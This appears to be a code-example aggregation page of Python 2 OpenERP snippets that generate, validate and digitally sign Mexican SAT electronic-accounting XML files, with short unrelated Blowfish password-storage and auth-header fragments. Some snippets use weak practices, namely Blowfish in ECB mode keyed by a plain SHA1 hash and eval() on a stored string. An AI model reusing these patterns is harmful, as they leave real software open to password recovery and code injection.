                                                         'period_id'        : period_id.id,
                                                         'partner_breakdown': False,
                                                         'output'           : 'list_view',
                                                                  })
                balance_ids = eval(trialWizardObj.get_info(cr, uid, [trial_balance_id])['domain'][1:-1])[2]
            balanceRecords = self.pool.get('account.monthly_balance').browse(cr, uid, balance_ids)
            if form.format == 'pdf':
                report_action = {'type': 'ir.actions.report.xml'}
                allowed_ids = [ rc.id for rc in balanceRecords if rc.account_id.take_for_xml and rc.account_id.first_period_id.date_start <= period_id.date_start if rc.account_id.company_id.id == user.company_id.id ]
                if tools.config['workers'] == 0:
                    report_action['report_name'] = 'jasper.ceBalanzaComprobacion'
                    report_action['datas'] = {'ids': allowed_ids,
                     'model': 'account.monthly_balance',
                     'report_type': 'pdf',
                     'parameters': {'period': self._LETTER_PERIODS[form.month] + str(form.year),
                                    'send_type': form.trial_delivery,
                                    'last_modified': form.trial_lastchange_date if form.trial_delivery == 'C' else '',
                                    'rfc': user.company_id.rfc}}
                else:
                    report_action['report_name'] = 'rml.ceBalanzaComprobacion'
                    report_action['datas'] = {'ids': allowed_ids,
                     'model': 'account.monthly_balance',
                     'form': 'data'}
                    report_action['context'] = {'period': self._LETTER_PERIODS[form.month] + str(form.year),
                     'send_type': form.trial_delivery,
                     'last_modified': form.trial_lastchange_date if form.trial_delivery == 'C' else '',
                     'rfc': user.company_id.rfc}
                return report_action
            ctas = []
            for record in balanceRecords:
                if record.account_id.take_for_xml and record.account_id.first_period_id.date_start <= period_id.date_start and record.account_id.company_id.id == user.company_id.id:
                    ctasAttrs = [('NumCta', record.account_code[0:100]),
                     ('SaldoIni', round(record.initial_balance, 2)),
                     ('Debe', round(record.debit, 2)),
                     ('Haber', round(record.credit, 2)),
                     ('SaldoFin', round(record.ending_balance, 2))]
                    ctas.append(('Ctas', ctasAttrs))

            if not len(ctas):
                raise osv.except_osv(u'Archivo vac\xedo', u'Ninguna cuenta de la balanza en este per\xedodo est\xe1 marcada para considerarse en el XML.')
            content = [('Version', '1.1'),
             ('RFC', user.company_id.rfc),
             ('Mes', form.month),#period_id.date_start[5:7]),
             ('Anio', period_id.date_start[0:4]),
             ('TipoEnvio', form.trial_delivery),
             ('unroot', ctas)]
            if form.trial_delivery == 'C':
                content.append(('FechaModBal', form.trial_lastchange_date))
            trialBalance_ns = self._SAT_NS.copy()
            trialBalance_ns['BCE'] = self._TRIAL_BALANCE_URI
            xmlTree = self._xml_from_dict(('Balanza', content), trialBalance_ns, self._TRIAL_BALANCE_URI)
            xmlTree.attrib['{{{pre}}}schemaLocation'.format(pre=self._XSI_DECLARATION)] = '%s http://www.sat.gob.mx/esquemas/ContabilidadE/1_1/BalanzaComprobacion/BalanzaComprobacion_1_1.xsd' % self._TRIAL_BALANCE_URI
        elif form.xml_target in ('vouchers', 'helpers'):
            if form.format == 'pdf':
                raise osv.except_osv('Informe no disponible', u'La representaci\xf3n impresa no est\xe1 definida para las p\xf3lizas.')
            if form.request_type in ('AF', 'FC'):
                if len(form.order_number) != 13:
                    raise osv.except_osv(u'N\xfamero de orden err\xf3neo', u'Verifique que su n\xfamero de orden contenga 13 caracteres (incluida la diagonal)')
                if not re.compile('[A-Z]{3}[0-6][0-9][0-9]{5}(/)[0-9]{2}').match(form.order_number.upper()):
                    raise osv.except_osv(u'N\xfamero de orden err\xf3neo', u'Verifique que su n\xfamero de orden tenga la siguiente estructura:\n  ' + u'  * Tres letras may\xfasculas de la A al Z sin incluir la "\xd1"\n' + u'  * Un d\xedgito entre 0 y 6\n' + u'  * Un d\xedgito entre 0 y 9\n' + u'  * Cinco d\xedgitos entre 0 y 9\n' + u'  * Una diagonal "/"\n' + u'  * Dos d\xedgitos del entre 0 y 9')
            if form.request_type in ('DE', 'CO'):
                if len(form.procedure_number) != 10 or not re.compile('[0-9]{10}').match(form.procedure_number):
                    raise osv.except_osv(u'N\xfamero de tr\xe1mite err\xf3neo', u'Verifique que su n\xfamero de tr\xe1mite contenga 10 d\xedgitos.')
            accountMoveObj = self.pool.get('account.move')
            if moveIds is None:
                moveIds = accountMoveObj.search(cr, uid, [('period_id', '=', period_id.id), ('state', '=', 'posted'), ('company_id', '=', user.company_id.id)])
            if form.format == 'pdf':
                return {}
            moves = accountMoveObj.browse(cr, uid, moveIds)
            if not len(moves):
                raise osv.except_osv(u'Informaci\xf3n faltante', u'No se han encontrado p\xf3lizas para el per\xedodo seleccionado.')
            entries = []
            if form.xml_target == 'vouchers':
                for mv in moves:
                    voucher = (mv.ref if mv.ref else '') + '(' + mv.name + ')'
                    if not len(mv.line_id):
                        raise osv.except_osv(u'P\xf3liza incompleta', u'La p\xf3liza %s no tiene asientos definidos.' % voucher)
                    if not mv.item_concept:
                        raise osv.except_osv(u'Informaci\xf3n faltante', u'La p\xf3liza %s no tiene definido un concepto' % voucher)
                    mvAttrs = [('NumUnIdenPol', mv.name[0:50]), ('Fecha', mv.date), ('Concepto', mv.item_concept[0:300])]
                    lines = []
                    for ln in mv.line_id:
                        if not ln.name:
                            raise osv.except_osv(u'Informaci\xf3n faltante', u'Compruebe que todos los asientos de la p\xf3liza %s tengan un concepto definido.' % voucher)
                        lnAttrs = [('NumCta', ln.account_id.code[0:100]),
                         ('DesCta', ln.account_id.name[0:100]),
                         ('Concepto', ln.name[0:200]),
                         ('Debe', round(ln.debit, 2)),
                         ('Haber', round(ln.credit, 2))]
                        (cfdis, others, foreigns, checks, transfers, payments,) = ([],
                         [],
                         [],
                         [],
                         [],
                         [])
                        for cmpl in ln.complement_line_ids:
                            if cmpl.rfc and not _RFC_PATTERN.match(cmpl.rfc):
                                raise osv.except_osv(u'Informaci\xf3n incorrecta', u'El RFC "%s" no es v\xe1lido con respecto a los lineamientos del SAT. P\xf3liza %s' % (cmpl.rfc, voucher))
                            if cmpl.rfc2 and not _RFC_PATTERN.match(cmpl.rfc2):
                                raise osv.except_osv(u'Informaci\xf3n incorrecta', u'El RFC "%s" no es v\xe1lido con respecto a los lineamientos del SAT. P\xf3liza %s' % (cmpl.rfc2, voucher))
                            cmpl_attrs = []
                            commons = ['cfdi', 'foreign', 'other']
                            cmpl_attrs.append(('MontoTotal' if cmpl.type_key in commons else 'Monto', round(cmpl.amount, 2)))
                            if cmpl.compl_currency_id:
                                if not cmpl.compl_currency_id.sat_currency_id:
                                    raise osv.except_osv(u'Informaci\xf3n faltante', u'La moneda "%s" no tiene asignado un c\xf3digo del SAT.' % cmpl.compl_currency_id.name)
                                cmpl_attrs.append(('Moneda', cmpl.compl_currency_id.sat_currency_id.code))
                            if cmpl.exchange_rate:
                                cmpl_attrs.append(('TipCamb', round(cmpl.exchange_rate, 5)))
                            commons.pop(1)
                            commons.append('check')
                            commons.append('transfer')
                            if cmpl.type_key in commons:
                                if cmpl.rfc and cmpl.rfc2 and cmpl.rfc != user.company_id.rfc and cmpl.rfc2 != user.company_id.rfc:
                                    cmpl_attrs.append(('RFC', cmpl.rfc2.upper()))
                                else:
                                    cmpl_attrs.append(('RFC', cmpl.rfc.upper() if cmpl.rfc != user.company_id.rfc else cmpl.rfc2.upper()))
                            commons.pop(0)
                            commons.pop(0)
                            if cmpl.type_key in commons:
                                if cmpl.show_native_accs and cmpl.origin_native_accid:
                                    cmpl_attrs.append(('CtaOri', cmpl.origin_native_accid.acc_number[0:50]))
                                elif cmpl.origin_account_id:
                                    cmpl_attrs.append(('CtaOri', cmpl.origin_account_id.code[0:50]))
                            commons.append('payment')
                            if cmpl.type_key in commons:
                                cmpl_attrs.append(('Fecha', cmpl.compl_date))
                                cmpl_attrs.append(('Benef', cmpl.payee_acc_id.name[0:300] if cmpl.show_native_accs2 else cmpl.payee_id.name[0:300]))
                            if cmpl.type_key == 'cfdi':
                                if cmpl.uuid:
                                    if len(cmpl.uuid) != 36 or not _UUID_PATTERN.match(cmpl.uuid.upper()):
                                        raise osv.except_osv(u'Informaci\xf3n incorrecta', u'El UUID "%s" en la p\xf3liza %s no se apega a los lineamientos del SAT.' % (cmpl.uuid, voucher))
                                    cmpl_attrs.append(('UUID_CFDI', cmpl.uuid.upper()))
                                cfdis.append(('CompNal', cmpl_attrs))
                            elif cmpl.type_key == 'other':
                                if cmpl.cbb_series and not _SERIES_PATTERN.match(cmpl.cbb_series):
                                    raise osv.except_osv(u'Informaci\xf3n incorrecta', u'La "Serie" en el comprobante de la p\xf3liza %s solo debe contener letras.' % voucher)
                                if cmpl.cbb_series:
                                    cmpl_attrs.append(('CFD_CBB_Serie', cmpl.cbb_series))
                                cmpl_attrs.append(('CFD_CBB_NumFol', cmpl.cbb_number))
                                others.append(('CompNalOtr', cmpl_attrs))
                            elif cmpl.type_key == 'foreign':
                                cmpl_attrs.append(('NumFactExt', cmpl.foreign_invoice))
                                cmpl_attrs.append(('TaxID', cmpl.foreign_taxid))
                                foreigns.append(('CompExt', cmpl_attrs))
                            elif cmpl.type_key == 'check':
                                if not cmpl.check_number:
                                    raise osv.except_osv(u'Informaci\xf3n faltante', u'No se ha encontrado un n\xfamero de cheque en la p\xf3liza % s' % voucher)
                                cmpl_attrs.append(('Num', cmpl.check_number))
                                cmpl_attrs.append(('BanEmisNal', cmpl.origin_bank_id.sat_bank_id.bic))
                                if cmpl.origin_bank_id.sat_bank_id.bic == '999':
                                    cmpl_attrs.append(('BanEmisExt', cmpl.origin_frgn_bank))
                                checks.append(('Cheque', cmpl_attrs))
                            elif cmpl.type_key == 'transfer':
                                cmpl_attrs.append(('BancoOriNal', cmpl.origin_bank_id.sat_bank_id.bic))
                                if cmpl.origin_bank_id.sat_bank_id.bic == '999':
                                    cmpl_attrs.append(('BancoOriExt', cmpl.origin_bank_id.name[0:150]))
                                cmpl_attrs.append(('CtaDest', cmpl.destiny_native_accid.acc_number[0:50] if cmpl.show_native_accs1 else cmpl.destiny_account_id.code[0:50]))
                                cmpl_attrs.append(('BancoDestNal', cmpl.destiny_bank_id.sat_bank_id.bic))
                                if cmpl.destiny_bank_id.sat_bank_id.bic == '999':
                                    cmpl_attrs.append(('BancoDestExt', cmpl.destiny_frgn_bank))
                                transfers.append(('Transferencia', cmpl_attrs))
                            elif cmpl.type_key == 'payment':
                                cmpl_attrs.append(('MetPagoPol', cmpl.pay_method_id.code))
                                cmpl_attrs.append(('RFC', cmpl.rfc2.upper()))
                                payments.append(('OtrMetodoPago', cmpl_attrs))

                        if len(cfdis):
                            lnAttrs.append(('unroot', cfdis))
                        if len(others):
                            lnAttrs.append(('unroot', others))
                        if len(foreigns):
                            lnAttrs.append(('unroot', foreigns))
                        if len(checks):
                            lnAttrs.append(('unroot', checks))
                        if len(transfers):
                            lnAttrs.append(('unroot', transfers))
                        if len(payments):
                            lnAttrs.append(('unroot', payments))
                        lines.append(('Transaccion', lnAttrs))

                    mvAttrs.append(('unroot', lines))
                    entries.append(('Poliza', mvAttrs))

            else:
                for mv in moves:
                    if not len(mv.complement_line_ids):
                        continue
                    voucher = (mv.ref if mv.ref else '') + '(' + mv.name + ')'
                    if not mv.name or mv.name == '/':
                        raise osv.except_osv(u'Informaci\xf3n faltante', u'La p\xf3liza %s no tiene un n\xfamero definido.' % voucher)
                    if not mv.date:
                        raise osv.except_osv(u'Informaci\xf3n faltante', u'La p\xf3liza %s no tiene una fecha definida.' % voucher)
                    mvAttrs = [('NumUnIdenPol', mv.name), ('Fecha', mv.date)]
                    (cfdis, others, foreigns,) = ([], [], [])
                    for cmpl in mv.complement_line_ids:
                        cmpl_attrs = [('MontoTotal', round(cmpl.amount, 2))]
                        if cmpl.rfc:
                            if not _RFC_PATTERN.match(cmpl.rfc):
                                raise osv.except_osv(u'Informaci\xf3n incorrecta', u'El RFC "%s" no es v\xe1lido con respecto a los lineamientos del SAT. P\xf3liza %s' % (cmpl.rfc, voucher))
                            cmpl_attrs.append(('RFC', cmpl.rfc))
                        if cmpl.compl_currency_id:
                            if not cmpl.compl_currency_id.sat_currency_id:
                                raise osv.except_osv(u'Informaci\xf3n faltante', u'La moneda "%s" no tiene asignado un c\xf3digo del SAT.' % cmpl.compl_currency_id.name)
                            cmpl_attrs.append(('Moneda', cmpl.compl_currency_id.sat_currency_id.code))
                        if cmpl.exchange_rate:
                            cmpl_attrs.append(('TipCamb', round(1 / cmpl.exchange_rate, 5)))
                        if cmpl.pay_method_id:
                            cmpl_attrs.append(('MetPagoAux', cmpl.pay_method_id.code))
                        if cmpl.type_key == 'cfdi':
                            if cmpl.uuid:
                                if len(cmpl.uuid) != 36 or not _UUID_PATTERN.match(cmpl.uuid.upper()):
                                    raise osv.except_osv(u'Informaci\xf3n incorrecta', u'El UUID "%s" en la p\xf3liza %s no se apega a los lineamientos del SAT.' % (cmpl.uuid, voucher))
                            cmpl_attrs.append(('UUID_CFDI', cmpl.uuid.upper()))
                            cfdis.append(('ComprNal', cmpl_attrs))
                        elif cmpl.type_key == 'other':
                            if cmpl.cbb_series:
                                cmpl_attrs.append(('CFD_CBB_Serie', cmpl.cbb_series))
                            cmpl_attrs.append(('CFD_CBB_NumFol', cmpl.cbb_number))
                            others.append(('ComprNalOtr', cmpl_attrs))
                        else:
                            if cmpl.foreign_taxid:
                                cmpl_attrs.append(('TaxID', cmpl.foreign_taxid))
                            cmpl_attrs.append(('NumFactExt', cmpl.foreign_invoice))
                            foreigns.append(('ComprExt', cmpl_attrs))

                    if len(cfdis):
                        mvAttrs.append(('unroot', cfdis))
                    if len(others):
                        mvAttrs.append(('unroot', others))
                    if len(foreigns):
                        mvAttrs.append(('unroot', foreigns))
                    entries.append(('DetAuxFol', mvAttrs))

                if not len(entries):
                    raise osv.except_osv(u'Auxiliar vac\xedo', u'No se encontraron p\xf3lizas que tengan complementos auxiliares relacionados.')
            content = [('Version', '1.1' if form.xml_target == 'vouchers' else '1.2'),
             ('RFC', user.company_id.rfc),
             ('Mes', period_id.date_start[5:7]),
             ('Anio', period_id.date_start[0:4]),
             ('TipoSolicitud', form.request_type),
             ('unroot', entries)]
            if form.request_type in ('AF', 'FC'):
                content.append(('NumOrden', form.order_number.upper()))
            if form.request_type in ('DE', 'CO'):
                content.append(('NumTramite', form.procedure_number))
            target_ns = self._SAT_NS.copy()
            if form.xml_target == 'vouchers':
                target_ns['PLZ'] = self._VOUCHERS_URI
                xmlTree = self._xml_from_dict(('Polizas', content), target_ns, self._VOUCHERS_URI)
                xmlTree.attrib['{{{pre}}}schemaLocation'.format(pre=self._XSI_DECLARATION)] = '%s http://www.sat.gob.mx/esquemas/ContabilidadE/1_1/PolizasPeriodo/PolizasPeriodo_1_1.xsd' % self._VOUCHERS_URI
            else:
                target_ns['RepAux'] = self._HELPERS_URI
            xmlTree = self._xml_from_dict(('RepAuxFol', content), target_ns, self._HELPERS_URI)
            xmlTree.attrib['{{{pre}}}schemaLocation'.format(pre=self._XSI_DECLARATION)] = '%s http://www.sat.gob.mx/esquemas/ContabilidadE/1_1/AuxiliarFolios/AuxiliarFolios_1_1.xsd' % self._HELPERS_URI
        filename = self.pool.get('res.users').browse(cr, uid, uid).company_id.rfc + str(form.year) + form.month
        if form.xml_target == 'accounts_catalog':
            filename += 'CT'
        elif form.xml_target == 'trial_balance':
            filename += 'B' + form.trial_delivery
        elif form.xml_target == 'vouchers':
            filename += 'PL'
        elif form.xml_target == 'helpers':
            filename += 'XF'
        filename += '.xml'
        validationResult = self._validate_xml(cr, uid, form.xml_target + '.xsd', xmlTree, filename)
        if isinstance(validationResult, dict):
            return validationResult
        self.write(cr, uid, ids, {'state': validationResult,
         'filename': filename,
         'primary_file': b64enc(self._outputXml(xmlTree))})
        return self._reopen_wizard(ids[0])
示例#41
0
	def set_password(self, key, password):
		cryptkey = sha1(key).hexdigest()
		bf = Blowfish.new(cryptkey, Blowfish.MODE_ECB)
		encrypted_pass = bf.encrypt(self._pad_pass(password))
		del password
		self[cryptkey] = b64enc(encrypted_pass)
 def do_stamp(self, cr, uid, ids, context):
     if context is None:
         context = {}
     form = self.browse(cr, uid, ids)[0]
     stamp_res = 'stamp_done'
     xslt_path = self._find_file_in_addons('asti_eaccounting_mx_base/sat_xslt', form.xml_target + '.xslt')
     try:
         xslt_file = open(xslt_path, 'r')
     except:
         raise osv.except_osv('Hoja XSLT no encontrada', u'La hoja de transformaci\xf3n no fue encontrada en la ruta "%s"' % xslt_path)
     xsltTree = et.parse(xslt_file)
     xsltTree.find('{http://www.w3.org/1999/XSL/Transform}output').attrib['omit-xml-declaration'] = 'yes'
     try:
         xslt = et.XSLT(xsltTree)
     except et.XSLTParseError:
         xsltTree.find('{http://www.w3.org/1999/XSL/Transform}include').attrib['href'] = xslt_path.replace(form.xml_target, 'utils')
         try:
             xslt = et.XSLT(xsltTree)
             stamp_res = 'stamp_xcpt'
         except:
             xslt = None
     if xslt is None:
         raise osv.except_osv('Error al cargar la hoja XSLT', 'Por favor intente sellar de nuevo el documento.')
     xmlTree = et.ElementTree(et.fromstring(b64dec(form.primary_file)))
     transformedDocument = str(xslt(xmlTree))
     user = self.pool.get('res.users').browse(cr, uid, uid)
     ##########
     certificate_obj = self.pool.get('res.company.facturae.certificate')
     certificate_ids = certificate_obj.search(cr, uid, [
             ('company_id', '=', user.company_id.id),
             ('date_start', '<=', time.strftime('%Y-%m-%d')),
             ('date_end', '>=', time.strftime('%Y-%m-%d')),
             ('active', '=', True),
         ], limit=1)
     certificate_id = certificate_ids and certificate_ids[0] or False
     if not certificate_id:
         raise osv.except_osv(u'Informaci\xf3n faltante', u'No se ha encontrado una configuraci\xf3n de certificados disponible para la compa\xf1\xeda %s' % user.company_id.name)
     #########
     #allConfiguredCerts = user.company_id._get_current_certificate(cr, uid, [user.company_id.id], context=ctx)
     #allConfiguredCerts = user.company_id.certificate_id.id
     #print "allConfiguredCerts: ", allConfiguredCerts
     #if user.company_id.id not in allConfiguredCerts.keys() or not allConfiguredCerts[user.company_id.id]:
     #    raise osv.except_osv(u'Informaci\xf3n faltante', u'No se ha encontrado una configuraci\xf3n de certificados disponible para la compa\xf1\xeda %s' % user.company_id.name)
     #eCert = self.pool.get('res.company.facturae.certificate').browse(cr, uid, [allConfiguredCerts[user.company_id.id]])[0]        
     ##########
     eCert = self.pool.get('res.company.facturae.certificate').browse(cr, uid, [certificate_id])[0]
     ##########
     if not eCert.certificate_key_file_pem:
         raise osv.except_osv(u'Informaci\xf3n faltante', 'Se necesita una clave en formato PEM para poder sellar el documento')
     crypter = RSA.load_key_string(b64dec(eCert.certificate_key_file_pem))
     algrthm = MessageDigest('sha1')
     algrthm.update(transformedDocument)
     rawStamp = crypter.sign(algrthm.digest(), 'sha1')
     certHexNum = X509.load_cert_string(b64dec(eCert.certificate_file_pem), X509.FORMAT_PEM).get_serial_number()
     certNum = ('%x' % certHexNum).replace('33', 'B').replace('3', '')
     cert = ''.join([ ln for ln in b64dec(eCert.certificate_file_pem).split('\n') if 'CERTIFICATE' not in ln ])
     target = '{'
     if form.xml_target == 'accounts_catalog':
         target += self._ACCOUNTS_CATALOG_URI + '}Catalogo'
     elif form.xml_target == 'trial_balance':
         target += self._TRIAL_BALANCE_URI + '}Balanza'
     xmlTree.getroot().attrib['Sello'] = b64enc(rawStamp)
     xmlTree.getroot().attrib['noCertificado'] = certNum
     xmlTree.getroot().attrib['Certificado'] = cert
     validationResult = self._validate_xml(cr, uid, form.xml_target + '.xsd', xmlTree, form.filename)
     if isinstance(validationResult, dict):
         return validationResult
     self.write(cr, uid, ids, {'state': stamp_res,
      'stamped_file': b64enc(self._outputXml(xmlTree))})
     return self._reopen_wizard(ids[0])
def create_auth(assertion, username, token):

    auth = 'AppSync %s:%s:%s' % (b64enc(assertion), b64enc(username),
                                 b64enc(token))
    return auth
示例#44
0
 def _validate_xml(self, cr, uid, schema, xmlTree, filename):
     validationResult = "val_done"
     schema_path = self._find_file_in_addons("asti_eaccounting_mx_base/sat_xsd", schema)
     try:
         schema_file = open(schema_path, "r")
     except IOError:
         raise osv.except_osv(
             "Esquema XSD no encontrado",
             u'El esquema de validaci\xf3n de SAT no fue encontrado en la ruta "%s"'
             % schema_path[0 : schema_path.find(schema)],
         )
     schemaXml = et.parse(schema_file)
     try:
         schema = et.XMLSchema(schemaXml)
     except et.XMLSchemaParseError:
         if "accounts_catalog" in schema_path:
             newLocation = schema_path.replace("accounts_catalog", "complex_types")
         elif "vouchers" in schema_path:
             newLocation = schema_path.replace("vouchers", "complex_types")
         else:
             newLocation = schema_path.replace("helpers", "complex_types")
         schemaXml.find("{http://www.w3.org/2001/XMLSchema}import").attrib["schemaLocation"] = newLocation
         try:
             schema = et.XMLSchema(schemaXml)
             validationResult = "val_xcpt"
         except:
             schema = None
     if schema is None:
         raise osv.except_osv(
             u"Error al cargar esquema de validaci\xf3n",
             "Por favor realize nuevamente el procesamiento del archivo.",
         )
     try:
         schema.assertValid(xmlTree)
         return validationResult
     except et.DocumentInvalid as ex:
         error_haul = u"Los siguientes errores fueron encontrados:\n\n"
         error_haul += u"\n".join(
             [
                 u"L\xednea: %s\nTipo: %s\nMensaje: %s\n**********" % (err.line, err.type_name, err.message)
                 for err in ex.error_log
             ]
         )
         xsdhandler_id = self.pool.get("xsdvalidation.handler.wizard").create(
             cr,
             uid,
             {
                 "error_file": b64enc(error_haul.encode("UTF-8")),
                 "error_filename": "errores.txt",
                 "sample_xml": b64enc(self._outputXml(xmlTree)),
                 "sample_xmlname": filename,
             },
         )
         return {
             "type": "ir.actions.act_window",
             "res_model": "xsdvalidation.handler.wizard",
             "res_id": xsdhandler_id,
             "view_mode": "form",
             "view_type": "form",
             "target": "new",
             "name": "La validaci\xc3\xb3n del archivo generado fall\xc3\xb3.",
         }
示例#45
0
    def process_file(self, cr, uid, ids, context, account_ids=None, balance_ids=None, moveIds=None):
        form = self.browse(cr, uid, ids)[0]
        user = self.pool.get("res.users").browse(cr, uid, uid)
        if (
            len(user.company_id.rfc) < 12
            or len(user.company_id.rfc) > 13
            or not _RFC_PATTERN.match(user.company_id.rfc)
        ):
            raise osv.except_osv(
                u"Datos de compa\xf1ia err\xf3neos",
                u'El RFC "%s" no es v\xe1lido con respecto a los lineamientos del SAT.' % user.company_id.rfc,
            )
        if form.year < 2015:
            raise osv.except_osv(
                "Fecha fuera de rango", "La contabilidad electr\xc3\xb3nica comienza a reportarse a partir del 2015."
            )
        if not user.company_id.rfc:
            raise osv.except_osv(u"Informaci\xf3n faltante", "No se ha configurado un R.F.C. para la empresa")
        periodObj = self.pool.get("account.period")
        period_ids = periodObj.search(
            cr, uid, [("code", "=", form.month + "/" + str(form.year)), ("company_id", "=", user.company_id.id)]
        )
        if not len(period_ids):
            raise osv.except_osv(
                u"Informaci\xf3n faltante",
                u'El per\xedodo especificado no fue encontrado. Compruebe que los c\xf3digos de sus per\xedodos fiscales tienen el formato "mm/aaaa"',
            )
        period_id = periodObj.browse(cr, uid, period_ids[0])
        if form.xml_target == "accounts_catalog":
            accountObj = self.pool.get("account.account")
            if account_ids is None:
                account_ids = accountObj.search(
                    cr, uid, [("take_for_xml", "=", True), ("company_id", "=", user.company_id.id)]
                )
            if form.format == "pdf":
                report_action = {"type": "ir.actions.report.xml"}
                if tools.config["workers"] == 0:
                    self._verify_report_existance(cr, uid, "jasper.ceCatalogosContables")
                    report_action["report_name"] = "jasper.ceCatalogosContables"
                    report_action["datas"] = {
                        "ids": account_ids,
                        "model": "account.account",
                        "report_type": "pdf",
                        "parameters": {
                            "period": self._LETTER_PERIODS[form.month] + str(form.year),
                            "rfc": user.company_id.rfc,
                        },
                    }
                else:
                    report_action["report_name"] = "rml.ceCatalogosContables"
                    report_action["datas"] = {"ids": account_ids, "model": "account.account", "form": "data"}
                    report_action["context"] = {
                        "period": self._LETTER_PERIODS[form.month] + str(form.year),
                        "rfc": user.company_id.rfc,
                    }
                return report_action
            accounts = accountObj.browse(cr, uid, account_ids)
            ctas = []
            for acc in accounts:
                if not acc.sat_code_id:
                    raise osv.except_osv(
                        u"Informaci\xf3n faltante",
                        u"La cuenta %s no tiene asociado un c\xf3digo agrupador del SAT" % acc.name_get(),
                    )
                if acc.first_period_id.date_start <= period_id.date_start:
                    ctaAttrs = [
                        ("CodAgrup", acc.sat_code_id.key),
                        ("NumCta", acc.code[0:100]),
                        ("Desc", acc.name[0:400]),
                        ("Nivel", acc.level + 1 if acc.level else 1),
                        ("Natur", "A" if acc.in_cred else "D"),
                    ]
                    if acc.parent_id:
                        ctaAttrs.append(("SubCtaDe", acc.parent_id.code[0:100]))
                    ctas.append(("Ctas", ctaAttrs))

            if not len(ctas):
                raise osv.except_osv(
                    u"Archivo vac\xedo",
                    u"No se encontraron cuentas para XML cuyo primer per\xedodo reportado sea mayor o igual al per\xedodo procesado.",
                )
            xml_content = (
                "Catalogo",
                [
                    ("Version", "1.1"),
                    ("RFC", user.company_id.rfc),
                    ("Mes", period_id.date_start[5:7]),
                    ("Anio", period_id.date_start[0:4]),
                    ("unroot", ctas),
                ],
            )
            catalog_ns = self._SAT_NS.copy()
            catalog_ns["catalogocuentas"] = self._ACCOUNTS_CATALOG_URI
            xmlTree = self._xml_from_dict(xml_content, catalog_ns, self._ACCOUNTS_CATALOG_URI)
            xmlTree.attrib["{{{pre}}}schemaLocation".format(pre=self._XSI_DECLARATION)] = (
                "%s http://www.sat.gob.mx/esquemas/ContabilidadE/1_1/CatalogoCuentas/CatalogoCuentas_1_1.xsd"
                % self._ACCOUNTS_CATALOG_URI
            )
        elif form.xml_target == "trial_balance":
            if form.format == "pdf":
                self._verify_report_existance(cr, uid, "jasper.ceBalanzaComprobacion")
            if balance_ids is None:
                trialWizardObj = self.pool.get("account.monthly_balance_wizard")
                trial_balance_id = trialWizardObj.create(
                    cr,
                    uid,
                    {
                        "chart_account_id": form.accounts_chart.id,
                        "company_id": user.company_id.id,
                        "period_id": period_id.id,
                        "partner_breakdown": False,
                        "output": "list_view",
                    },
                )
                balance_ids = eval(trialWizardObj.get_info(cr, uid, [trial_balance_id])["domain"][1:-1])[2]
            balanceRecords = self.pool.get("account.monthly_balance").browse(cr, uid, balance_ids)
            if form.format == "pdf":
                report_action = {"type": "ir.actions.report.xml"}
                allowed_ids = [
                    rc.id
                    for rc in balanceRecords
                    if rc.account_id.take_for_xml and rc.account_id.first_period_id.date_start <= period_id.date_start
                    if rc.account_id.company_id.id == user.company_id.id
                ]
                if tools.config["workers"] == 0:
                    report_action["report_name"] = "jasper.ceBalanzaComprobacion"
                    report_action["datas"] = {
                        "ids": allowed_ids,
                        "model": "account.monthly_balance",
                        "report_type": "pdf",
                        "parameters": {
                            "period": self._LETTER_PERIODS[form.month] + str(form.year),
                            "send_type": form.trial_delivery,
                            "last_modified": form.trial_lastchange_date if form.trial_delivery == "C" else "",
                            "rfc": user.company_id.rfc,
                        },
                    }
                else:
                    report_action["report_name"] = "rml.ceBalanzaComprobacion"
                    report_action["datas"] = {"ids": allowed_ids, "model": "account.monthly_balance", "form": "data"}
                    report_action["context"] = {
                        "period": self._LETTER_PERIODS[form.month] + str(form.year),
                        "send_type": form.trial_delivery,
                        "last_modified": form.trial_lastchange_date if form.trial_delivery == "C" else "",
                        "rfc": user.company_id.rfc,
                    }
                return report_action
            ctas = []
            for record in balanceRecords:
                if (
                    record.account_id.take_for_xml
                    and record.account_id.first_period_id.date_start <= period_id.date_start
                    and record.account_id.company_id.id == user.company_id.id
                ):
                    ctasAttrs = [
                        ("NumCta", record.account_code[0:100]),
                        ("SaldoIni", round(record.initial_balance, 2)),
                        ("Debe", round(record.debit, 2)),
                        ("Haber", round(record.credit, 2)),
                        ("SaldoFin", round(record.ending_balance, 2)),
                    ]
                    ctas.append(("Ctas", ctasAttrs))

            if not len(ctas):
                raise osv.except_osv(
                    u"Archivo vac\xedo",
                    u"Ninguna cuenta de la balanza en este per\xedodo est\xe1 marcada para considerarse en el XML.",
                )
            content = [
                ("Version", "1.1"),
                ("RFC", user.company_id.rfc),
                ("Mes", period_id.date_start[5:7]),
                ("Anio", period_id.date_start[0:4]),
                ("TipoEnvio", form.trial_delivery),
                ("unroot", ctas),
            ]
            if form.trial_delivery == "C":
                content.append(("FechaModBal", form.trial_lastchange_date))
            trialBalance_ns = self._SAT_NS.copy()
            trialBalance_ns["BCE"] = self._TRIAL_BALANCE_URI
            xmlTree = self._xml_from_dict(("Balanza", content), trialBalance_ns, self._TRIAL_BALANCE_URI)
            xmlTree.attrib["{{{pre}}}schemaLocation".format(pre=self._XSI_DECLARATION)] = (
                "%s http://www.sat.gob.mx/esquemas/ContabilidadE/1_1/BalanzaComprobacion/BalanzaComprobacion_1_1.xsd"
                % self._TRIAL_BALANCE_URI
            )
        elif form.xml_target in ("vouchers", "helpers"):
            if form.format == "pdf":
                raise osv.except_osv(
                    "Informe no disponible", u"La representaci\xf3n impresa no est\xe1 definida para las p\xf3lizas."
                )
            if form.request_type in ("AF", "FC"):
                if len(form.order_number) != 13:
                    raise osv.except_osv(
                        u"N\xfamero de orden err\xf3neo",
                        u"Verifique que su n\xfamero de orden contenga 13 caracteres (incluida la diagonal)",
                    )
                if not re.compile("[A-Z]{3}[0-6][0-9][0-9]{5}(/)[0-9]{2}").match(form.order_number.upper()):
                    raise osv.except_osv(
                        u"N\xfamero de orden err\xf3neo",
                        u"Verifique que su n\xfamero de orden tenga la siguiente estructura:\n  "
                        + u'  * Tres letras may\xfasculas de la A al Z sin incluir la "\xd1"\n'
                        + u"  * Un d\xedgito entre 0 y 6\n"
                        + u"  * Un d\xedgito entre 0 y 9\n"
                        + u"  * Cinco d\xedgitos entre 0 y 9\n"
                        + u'  * Una diagonal "/"\n'
                        + u"  * Dos d\xedgitos del entre 0 y 9",
                    )
            if form.request_type in ("DE", "CO"):
                if len(form.procedure_number) != 10 or not re.compile("[0-9]{10}").match(form.procedure_number):
                    raise osv.except_osv(
                        u"N\xfamero de tr\xe1mite err\xf3neo",
